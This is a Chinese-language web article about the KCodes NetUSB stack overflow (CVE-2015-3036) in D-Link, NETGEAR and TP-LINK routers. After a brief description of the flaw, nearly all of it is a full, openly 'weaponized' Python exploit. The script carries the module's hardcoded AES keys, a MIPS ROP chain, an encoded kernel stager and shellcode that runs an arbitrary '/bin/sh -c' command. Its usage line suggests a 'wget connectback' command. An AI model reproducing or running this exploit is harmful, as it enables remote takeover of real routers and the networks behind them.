路由器驱动组件NetUSB远程代码执行exp

今年五月份知名路由器D-Link、NETGEAR、TP-LINK上重要驱动组件NetUSB被曝存在严
首页 新闻资讯 行业资讯 路由器驱动组件NetUSB远程代码执行exp

今年五月份知名路由器D-Link、NETGEAR、TP-LINK上重要驱动组件NetUSB被曝存在严重的远程溢出漏洞,影响数以百万计的路由和嵌入式设备。NetUSB技术由台湾企业盈码科(KCodes)开发。

路由器驱动组件NetUSB远程代码执行exp

科普:KCodes NetUSB

KCodes NetUSB是Linux内核模块,可通过IP提供USB设备网络共享功能。由台湾企业盈码科(KCodes)开发。

KCodes NetUSB模块的run_init_sbus函数存在栈缓冲区溢出漏洞,远程攻击者通过TCP端口20005上的会话,运行较长的计算机名,利用此漏洞可执行任意代码。此模块广泛使用在某些NETGEAR产品、TP-LINK产品等。

这个漏洞是由奥地利安全公司SEC Consult的研究员Stefan Viehbock提交的,漏洞的编号为CVE-2015-3036,当客户端发送计算机名到网络设备的服务端(TCP端口 20005)时,同该端口建立连接后,就可以触发这个漏洞。

如果客户端发送的计算机名长度大于64字符,会让含NetUSB模块的设备出现溢出,从而造成内存破坏。

Talk is cheap ,show me the code!

下面是一个武器化的远程命令执行脚本。

之前已经看到过很多个拒绝服务这种蛋疼的漏洞,放弃那些没个卵用的poc吧,这是个令人兴奋的代码执行。

路由器驱动组件NetUSB远程代码执行exp

 

脚本来自:http://haxx.in/blasty-vs-netusb.py

复制

#!/usr/bin/env python## CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS) # ===========================================================================# This is a weaponized exploit for the NetUSB kernel vulnerability # discovered by SEC Consult Vulnerability Lab. [1]# # I don't like lazy vendors, I've seen some DoS PoC's floating around# for this bug.. and it's been almost five(!) months. So lets kick it up # a notch with an actual proof of concept that yields code exec.## So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)# # Smash stack, ROP, decode, stage, spawn userland process. woo!## Currently this is weaponized for one target device (the one I own, I was# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in # the default firmware image, oooops. ;-D).## This python script is horrible, but its not about the glue, its about# the tech contained therein. Some things *may* be (intentionally?) botched..# lets see if "the community" cares enough to develop this any further,# I need to move on with life. ;-D# # Shoutouts to all my boys & girls around the world, you know who you are!## Peace,# -- blasty <peter@haxx.in> // 20151013## References:# [1] : https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt# /20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt#import os, sys, struct, socket, timefrom Crypto.Cipher import AESdef u32(v):    return struct.pack("<L", v)def banner():    print ""    print "## NetUSB (CVE-2015-3036) remote code execution exploit"    print "## by blasty <peter@haxx.in>"    print ""def usage(prog):    print "usage   : %s <host> <port> <cmd>" % (prog)    print "example : %s 127.0.0.1 20005 'wget connectback..." % (prog)    print ""banner()if len(sys.argv) != 4:    usage(sys.argv[0])    exit(0)cmd = sys.argv[3]# Here's one, give us more! (hint: /proc/kallsyms and objdump, bro)targets = [    {        "name" : "WNDR3700v5 - Linux 2.6.36 (mips32-le)",        "kernel_base" : 0x80001000,        # adjust to offset used in 'load_addr_and_jump' gadget        # should be some big immediate to avoid NUL bytes        "load_addr_offset" : 4156,        "gadgets" : {            # 8c42103c  lw      v0,4156(v0)            # 0040f809  jalr    v0            # 00000000  nop            'load_addr_and_jump' : 0x1f548,            # 8fa20010  lw      v0,16(sp)            # 8fbf001c  lw      ra,28(sp)            # 03e00008  jr      ra            # 27bd0020  addiu   sp,sp,32            'load_v0_and_ra' : 0x34bbc,            # 27b10010  addiu   s1,sp,16            # 00602021  move    a0,v1            # 0040f809  jalr    v0            # 02202821  move    a1,s1            'move_sp_plus16_to_s1' : 0x63570,            # 0220f809  jalr    s1            # 00000000  nop            'jalr_s1' : 0x63570,            'a_r4k_blast_dcache' : 0x6d4678,            'kmalloc' : 0xb110c,            'ks_recv' : 0xc145e270,            'call_usermodehelper_setup' : 0x5b91c,            'call_usermodehelper_exec' :  0x5bb20        }    }]# im lazy, hardcoded to use the only avail. target for now# hey, at least I made it somewhat easy to easily add new targetstarget = targets[0]# hullo there.hello = "\x56\x03"# sekrit keyz that are hardcoded in netusb.ko, sorry KCodes# people, this is not how you implement auth. lol.aesk0 = "0B7928FF6A76223C21A3B794084E1CAD".decode('hex')aesk1 = "A2353556541CFE44EC468248064DE66C".decode('hex')key = aesk1
IV = "\x00"*16mode = AES.MODE_CBC
aes = AES.new(key, mode, IV=IV)aesk0_d = aes.decrypt(aesk0)aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)s = socket.create_connection((sys.argv[1], int(sys.argv[2], 0)))print "[>] sending HELLO pkt"s.send(hello)time.sleep(0.2)verify_data = "\xaa"*16print "[>] sending verify data"s.send(verify_data)time.sleep(0.2)print "[>] reading response"data = s.recv(0x200)print "[!] got %d bytes .." % len(data)print "[>] data: " + data.encode('hex')pkt = aes2.decrypt(data)print "[>] decr: " + pkt.encode("hex")if pkt[0:16] != "\xaa"*16:    print "[!] error: decrypted rnd data mismatch :("    exit(-1)rnd = data[16:]aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)pkt_c = aes2.encrypt(rnd)print "[>] sending back crypted random data"s.send(pkt_c)# Once upon a time.. d = "A"# hardcoded decoder_key, this one is 'safe' for the current stagerdecoder_key = 0x1337babf# NUL-free mips code which decodes the next stage,# flushes the d-cache, and branches there.# loosely inspired by some shit Julien Tinnes once wrote.decoder_stub = [    0x0320e821, # move    sp,t9    0x27a90168, # addiu    t1,sp,360    0x2529fef0, # addiu    t1,t1,-272    0x240afffb, # li    t2,-5    0x01405027, # nor    t2,t2,zero    0x214bfffc, # addi    t3,t2,-4    0x240cff87, # li    t4,-121    0x01806027,    # nor    t4,t4,zero    0x3c0d0000,    # [8] lui    t5, xorkey@hi    0x35ad0000, # [9] ori    t5,t5, xorkey@lo    0x8d28fffc, # lw    t0,-4(t1)    0x010d7026, # xor    t6,t0,t5    0xad2efffc, # sw    t6,-4(t1)    0x258cfffc, # addiu    t4,t4,-4    0x140cfffb, # bne    zero,t4,0x28    0x012a4820, # add    t1,t1,t2    0x3c190000, # [16] lui    t9, (a_r4k_blast_dcache-0x110)@hi    0x37390000, # [17] ori    t9,t9,(a_r4k_blast_dcache-0x110)@lo    0x8f390110, # lw    t9,272(t9)    0x0320f809, # jalr    t9    0x3c181234, # lui    t8,0x1234]# patch xorkey into decoder stubdecoder_stub[8] = decoder_stub[8] | (decoder_key >> 16)decoder_stub[9] = decoder_stub[9] | (decoder_key & 0xffff)r4k_blast_dcache = target['kernel_base']r4k_blast_dcache = r4k_blast_dcache + target['gadgets']['a_r4k_blast_dcache']# patch the r4k_blast_dcache address in decoder stubdecoder_stub[16] = decoder_stub[16] | (r4k_blast_dcache >> 16)decoder_stub[17] = decoder_stub[17] | (r4k_blast_dcache & 0xffff)# pad it outd += "A"*(233-len(d))# kernel payload stagerkernel_stager = [    0x27bdffe0, # addiu    sp,sp,-32    0x24041000, # li    a0,4096    0x24050000, # li    a1,0    0x3c190000, # [3] lui    t9,kmalloc@hi    0x37390000,    # [4] ori    t9,t9,kmalloc@lo    0x0320f809, # jalr    t9    0x00000000, # nop    0x0040b821, # move    s7,v0    0x02602021, # move    a0,s3    0x02e02821, # move    a1,s7    0x24061000, # li    a2,4096    0x00003821, # move    a3,zero    0x3c190000,    # [12] lui    t9,ks_recv@hi    0x37390000, # [13] ori    t9,t9,ks_recv@lo    0x0320f809, # jalr    t9    0x00000000, # nop    0x3c190000, # [16] lui    t9,a_r4k_blast_dcache@hi    0x37390000, # [17] ori    t9,t9,a_r4k_blast_dcache@lo    0x8f390000, # lw    t9,0(t9)    0x0320f809, # jalr    t9    0x00000000, # nop    0x02e0f809, # jalr    s7    0x00000000     # nop]kmalloc = target['kernel_base'] + target['gadgets']['kmalloc']ks_recv = target['gadgets']['ks_recv']# patch kernel stagerkernel_stager[3] = kernel_stager[3] | (kmalloc >> 16)kernel_stager[4] = kernel_stager[4] | (kmalloc & 0xffff)kernel_stager[12] = kernel_stager[12] | (ks_recv >> 16)kernel_stager[13] = kernel_stager[13] | (ks_recv & 0xffff)kernel_stager[16] = kernel_stager[16] | (r4k_blast_dcache >> 16)kernel_stager[17] = kernel_stager[17] | (r4k_blast_dcache & 0xffff)# a ROP chain for MIPS, always ew.rop = [    # this gadget will    # v0 = *(sp+16)    # ra = *(sp+28)    # sp += 32    target['kernel_base'] + target['gadgets']['load_v0_and_ra'],    # stack for the g_load_v0_and_ra gadget    0xaaaaaaa1, # sp+0    0xaaaaaaa2, # sp+4    0xaaaaaaa3, # sp+8    0xaaaaaaa4, # sp+12    r4k_blast_dcache - target['load_addr_offset'], # sp+16 / v0    0xaaaaaaa6, # sp+20    0xaaaaaaa7, # sp+24    # this gadget will    # v0 = *(v0 + 4156)    # v0();    # ra = *(sp + 20)    # sp += 24    # ra();    target['kernel_base'] + target['gadgets']['load_addr_and_jump'], # sp+28    0xbbbbbbb2,    0xccccccc3,    0xddddddd4,    0xeeeeeee5,    0xeeeeeee6,    # this is the RA fetched by g_load_addr_and_jump    target['kernel_base'] + target['gadgets']['load_v0_and_ra'],    # stack for the g_load_v0_and_ra gadget    0xaaaaaaa1, # sp+0    0xaaaaaaa2, # sp+4    0xaaaaaaa3, # sp+8    0xaaaaaaa4, # sp+12    target['kernel_base'] + target['gadgets']['jalr_s1'],  #  sp+16 / v0    0xaaaaaaa6, # sp+20    0xaaaaaaa7, # sp+24    target['kernel_base'] + target['gadgets']['move_sp_plus16_to_s1'], # ra    
    # second piece of native code getting executed, pivot back in the stack    0x27b9febc, # t9 = sp - offset    0x0320f809, # jalr t9     0x3c181234, # nop    0x3c181234, # nop    # first native code getting executed, branch back to previous 4 opcodes    0x03a0c821, # move t9, sp    0x0320f809, # jalr t9    0x3c181234,]# append rop chain to bufferfor w in rop:    d += u32(w)# append decoder_stub to bufferfor w in decoder_stub:    d += u32(w)# encode stager and append to bufferfor w in kernel_stager:    d += u32(w ^ decoder_key)print "[>] sending computername_length.."time.sleep(0.1)s.send(struct.pack("<L", len(d)))print "[>] sending payload.."time.sleep(0.1)s.send(d)time.sleep(0.1)print "[>] sending stage2.."# a useful thing to do when you bust straight into the kernel # is to go back to userland, huhuhu.# thanks to jix for the usermodehelper suggestion! :)kernel_shellcode = [    0x3c16dead, # lui    s6,0xdead    0x3c19dead, # lui    t9,0xdead    0x3739c0de, # ori    t9,t9,0xc0de    0x2404007c, # li    a0, argv    0x00972021, # addu    a0,a0,s7    0x2405008c, # li    a1, argv0    0x00b72821, # addu    a1,a1,s7    0xac850000, # sw    a1,0(a0)    0x24050094, # li    a1, argv1    0x00b72821, # addu    a1,a1,s7    0xac850004, # sw    a1,4(a0)    0x24060097, # li    a2, argv2    0x00d73021, # addu    a2,a2,s7    0xac860008, # sw    a2,8(a0)    0x00802821, # move    a1,a0    0x2404008c, # li    a0, argv0    0x00972021, # addu    a0,a0,s7    0x24060078, # li    a2, envp    0x00d73021, # addu    a2,a2,s7    0x24070020, # li    a3,32    0x3c190000, # [20] lui    t9,call_usermodehelper_setup@hi    0x37390000, # [21] ori    t9,t9,call_usermodehelper_setup@lo    # call_usermodehelper_setup(argv[0], argv, envp, GPF_ATOMIC)    0x0320f809, # jalr    t9    0x00000000, # nop    0x00402021, # move    a0,v0    0x24050002, # li    a1,2    0x3c190000, # [26] lui    t9,call_usermodehelper_exec@hi    0x37390000, # [27] ori    t9,t9,call_usermodehelper_exec@lo    # call_usermodehelper_exec(retval, UHM_WAIT_PROC)    0x0320f809, # jalr    t9    0x00000000, # nop    # envp ptr    0x00000000,    # argv ptrs    0x00000000,    0x00000000,    0x00000000,    0x00000000]usermodehelper_setup = target['gadgets']['call_usermodehelper_setup']usermodehelper_exec = target['gadgets']['call_usermodehelper_exec']# patch call_usermodehelper_setup into kernel shellcodekernel_shellcode[20] = kernel_shellcode[20] | (usermodehelper_setup>>16)kernel_shellcode[21] = kernel_shellcode[21] | (usermodehelper_setup&0xffff)# patch call_usermodehelper_setup into kernel shellcodekernel_shellcode[26] = kernel_shellcode[26] | (usermodehelper_exec>>16)kernel_shellcode[27] = kernel_shellcode[27] | (usermodehelper_exec&0xffff)payload = ""for w in kernel_shellcode:    payload += u32(w)payload += "/bin/sh\x00"payload += "-c\x00"payload += cmd# and now for the moneyshots.send(payload)print "[~] KABOOM! Have a nice day."
  • 1.

  • 2.

  • 3.

  • 4.

  • 5.

  • 6.

  • 7.

  • 8.

  • 9.

  • 10.

  • 11.

  • 12.

  • 13.

  • 14.

  • 15.

  • 16.

  • 17.

  • 18.

  • 19.

  • 20.

  • 21.

  • 22.

  • 23.

  • 24.

  • 25.

  • 26.

  • 27.

  • 28.

  • 29.

  • 30.

  • 31.

  • 32.

  • 33.

  • 34.

  • 35.

  • 36.

  • 37.

  • 38.

  • 39.

  • 40.

  • 41.

  • 42.

  • 43.

  • 44.

  • 45.

  • 46.

  • 47.

  • 48.

  • 49.

  • 50.

  • 51.

  • 52.

  • 53.

  • 54.

  • 55.

  • 56.

  • 57.

  • 58.

  • 59.

  • 60.

  • 61.

  • 62.

  • 63.

  • 64.

  • 65.

  • 66.

  • 67.

  • 68.

  • 69.

  • 70.

  • 71.

  • 72.

  • 73.

  • 74.

  • 75.

  • 76.

  • 77.

  • 78.

  • 79.

  • 80.

  • 81.

  • 82.

  • 83.

  • 84.

  • 85.

  • 86.

  • 87.

  • 88.

  • 89.

  • 90.

  • 91.

  • 92.

  • 93.

  • 94.

  • 95.

  • 96.

  • 97.

  • 98.

  • 99.

  • 100.

  • 101.

  • 102.

  • 103.

  • 104.

  • 105.

  • 106.

  • 107.

  • 108.

  • 109.

  • 110.

  • 111.

  • 112.

  • 113.

  • 114.

  • 115.

  • 116.

  • 117.

  • 118.

  • 119.

  • 120.

  • 121.

  • 122.

  • 123.

  • 124.

  • 125.

  • 126.

  • 127.

  • 128.

  • 129.

  • 130.

  • 131.

  • 132.

  • 133.

  • 134.

  • 135.

  • 136.

  • 137.

  • 138.

  • 139.

  • 140.

  • 141.

  • 142.

  • 143.

  • 144.

  • 145.

  • 146.

  • 147.

  • 148.

  • 149.

  • 150.

  • 151.

  • 152.

  • 153.

  • 154.

  • 155.

  • 156.

  • 157.

  • 158.

  • 159.

  • 160.

  • 161.

  • 162.

  • 163.

  • 164.

  • 165.

  • 166.

  • 167.

  • 168.

  • 169.

  • 170.

  • 171.

  • 172.

  • 173.

  • 174.

  • 175.

  • 176.

  • 177.

  • 178.

  • 179.

  • 180.

  • 181.

  • 182.

  • 183.

  • 184.

  • 185.

  • 186.

  • 187.

  • 188.

  • 189.

  • 190.

  • 191.

  • 192.

  • 193.

  • 194.

  • 195.

  • 196.

  • 197.

  • 198.

  • 199.

  • 200.

  • 201.

  • 202.

  • 203.

  • 204.

  • 205.

  • 206.

  • 207.

  • 208.

  • 209.

  • 210.

  • 211.

  • 212.

  • 213.

  • 214.

  • 215.

  • 216.

  • 217.

  • 218.

  • 219.

  • 220.

  • 221.

  • 222.

  • 223.

  • 224.

  • 225.

  • 226.

  • 227.

  • 228.

  • 229.

  • 230.

  • 231.

  • 232.

  • 233.

  • 234.

  • 235.

  • 236.

  • 237.

  • 238.

  • 239.

  • 240.

  • 241.

  • 242.